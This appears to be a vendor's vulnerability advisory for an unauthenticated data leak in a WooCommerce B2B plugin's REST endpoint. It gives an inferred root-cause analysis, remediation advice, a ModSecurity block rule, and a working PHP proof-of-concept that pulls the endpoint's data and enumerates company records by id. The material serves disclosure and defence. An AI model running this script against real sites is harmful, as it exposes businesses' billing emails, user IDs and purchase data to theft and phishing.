Opens in a new tab
Published : November 16, 2026

CVE-2026-96769: Extend B2B Companies and Users Management for WooCommerce <= 2.1.4 Unauthenticated Sensitive Information Exposure in /wp/v2/aio_company REST Endpoint PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.1.4
Patched Version —
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-96769 (metadata-based): This is an unauthenticated sensitive information exposure vulnerability in the Extend B2B plugin (slug woocommerce-roles-permissions) version 2.1.4 and all prior versions. The flaw resides in the register_company_api function that registers a REST API endpoint at /wp/v2/aio_company. The CVSS score is 5.3 (Medium), reflecting network attack, low complexity, no privileges required, no user interaction, scope unchanged, and confidentiality impact only (low). Atomic Edge research confirms this matches an unauthenticated data-leak issue that exposes company billing data, user IDs, credit balances, credit histories, purchase limits, spend totals, and shared-cart records.

Root Cause: The CWE is 200 Exposure of Sensitive Information to an Unauthorized Actor. Based on this and the description, the register_company_api function registers a REST route under the /wp/v2/aio_company namespace without performing any authentication or capability check. Atomic Edge analysis infers that the permission_callback argument was either omitted or set to a permissive value (such as ‘__return_true’), allowing any unauthenticated visitor to query the endpoint. The endpoint likely returns full WP_REST_Response objects from custom database tables (company metadata, credit logs, per-member purchase limits, shared carts) without filtering fields by user role. This conclusion is inferred from the CWE and description; no source code diff is available to confirm the exact implementation. The issue affects all versions up to and including 2.1.4, and no patched version is available.

Exploitation: An attacker sends a GET request to /wp-json/wp/v2/aio_company. Because the route is registered under the core /wp/v2/ namespace, it will be reachable on any default WordPress installation with pretty permalinks. The attacker may append query parameters that map to WP_REST_Request arguments (for example ?id=1, ?company_id=1, ?status=active, ?per_page=100) to enumerate records. A successful response returns JSON containing company owner IDs, member user IDs, billing emails, credit balances, full credit transaction histories (including admin user IDs who adjusted balances), per-member purchase limits, spend totals, and shared-cart records with purchase-order numbers. No nonce, cookie, or authentication token is required, so the attacker can script enumeration of all companies and members. Atomic Edge analysis confirms this is a single unauthenticated REST GET request.

Remediation: The fix requires adding a proper permission_callback to the register_rest_route call for the /wp/v2/aio_company endpoint. The callback must verify that the request is authenticated and that the current user has a capability appropriate for the returned data (for example, manage_woocommerce or a custom B2B capability). Where unauthenticated access is intended, the handler must return only a narrowly defined public payload (for example, no user IDs, no credit history, no billing email). Atomic Edge research concludes that applying a capability check and field whitelisting in the response is the minimal remediation. Because no patched version exists, site owners should virtually patch at the WAF or disable the endpoint until an update is released.

Impact: Successful exploitation allows unauthenticated attackers to extract sensitive B2B company data. Exposed fields include owner and member WordPress user IDs (which aid targeted phishing and account enumeration), company billing email addresses, credit balances and full credit transaction histories with admin user IDs, per-member purchase limits and spend totals, and shared-cart records containing purchase-order numbers. This data enables business intelligence theft, targeted social engineering, and reconnaissance for further attacks. The direct impact is confidentiality loss only (C:L), with no integrity or availability impact, consistent with the CVSS vector.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-96769 (metadata-based)
# Blocks unauthenticated access to the vulnerable REST endpoint /wp-json/wp/v2/aio_company
# Atomic Edge research defines the endpoint from the CVE description and title.
SecRule REQUEST_URI "@rx ^/(?:[^/]+/)?wp-json/wp/v2/aio_company(?:/|?|$)" 
  "id:20269671,phase:2,deny,status:403,chain,msg:'CVE-2026-96769 Extend B2B unauthenticated sensitive information exposure via /wp/v2/aio_company REST endpoint',severity:'CRITICAL',tag:'CVE-2026-96769',tag:'atomic-edge'"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:Cookie "@rx ^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-96769 - Extend B2B - Companies and Users Management for WooCommerce <= 2.1.4 - Unauthenticated Sensitive Information Exposure in /wp/v2/aio_company REST Endpoint

// Configuration: set the target WordPress site URL
$target_url = 'http://example.com';

// Atomic Edge analysis: The vulnerability exists in the REST route registered by register_company_api.
// The route is under the core /wp/v2/ namespace and is named aio_company.
$endpoint = rtrim($target_url, '/') . '/wp-json/wp/v2/aio_company';

// Helper to perform a GET request and return status, body, and headers
function atomic_edge_get($url, $extra_headers = []) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge([
        'Accept: application/json',
        'User-Agent: AtomicEdge-PoC/1.0'
    ], $extra_headers));
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $err  = curl_error($ch);
    curl_close($ch);
    return ['code' => $code, 'body' => $body, 'error' => $err];
}

// Step 1: Query the base REST endpoint without authentication.
// A vulnerable site will return a JSON payload containing company records.
// Atomic Edge assumption: the route responds to GET; WP_REST_Request query params may filter results.
echo "[*] Requesting unauthenticated REST endpoint: $endpointn";
$base = atomic_edge_get($endpoint);
if ($base['error']) {
    fwrite(STDERR, "[!] Request error: {$base['error']}n");
    exit(1);
}

echo "[+] HTTP status: {$base['code']}n";
echo "[+] Response length: " . strlen($base['body']) . " bytesn";

echo "[+] Response preview:n" . substr($base['body'], 0, 2000) . "n";

// Step 2: Parse the response and look for sensitive fields.
// Atomic Edge analysis: the description names owner/member user IDs, billing email,
// credit balances, credit histories with admin IDs, purchase limits, spend totals,
// and shared-cart records with purchase-order numbers.
$needles = [
    'user_id', 'owner', 'email', 'billing', 'balance', 'credit',
    'admin_id', 'purchase_limit', 'spend', 'shared_cart', 'purchase_order',
    'po_number'
];

$lower = strtolower($base['body']);
$found = [];
foreach ($needles as $n) {
    if (strpos($lower, $n) !== false) {
        $found[] = $n;
    }
}

if (count($found) > 0) {
    echo "[!] VULNERABLE: sensitive fields observed in unauthenticated response: " . implode(', ', $found) . "n";
} else {
    echo "[-] No sensitive fields detected in base response. The endpoint may require an id/company_id parameter.n";
}

// Step 3: Attempt resource enumeration by id.
// Atomic Edge assumption: the REST route likely supports an id or company_id query parameter.
foreach ([1, 2, 3] as $id) {
    $u = $endpoint . '?id=' . $id;
    echo "[*] Requesting: $un";
    $r = atomic_edge_get($u);
    echo "    HTTP {$r['code']}, " . strlen($r['body']) . " bytesn";
    if ($r['code'] === 200 && strlen($r['body']) > 50) {
        echo "    Preview: " . substr($r['body'], 0, 500) . "n";
    }
}

echo "[+] Done. A 200 response containing company, user, credit, or cart data confirms CVE-2026-96769.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.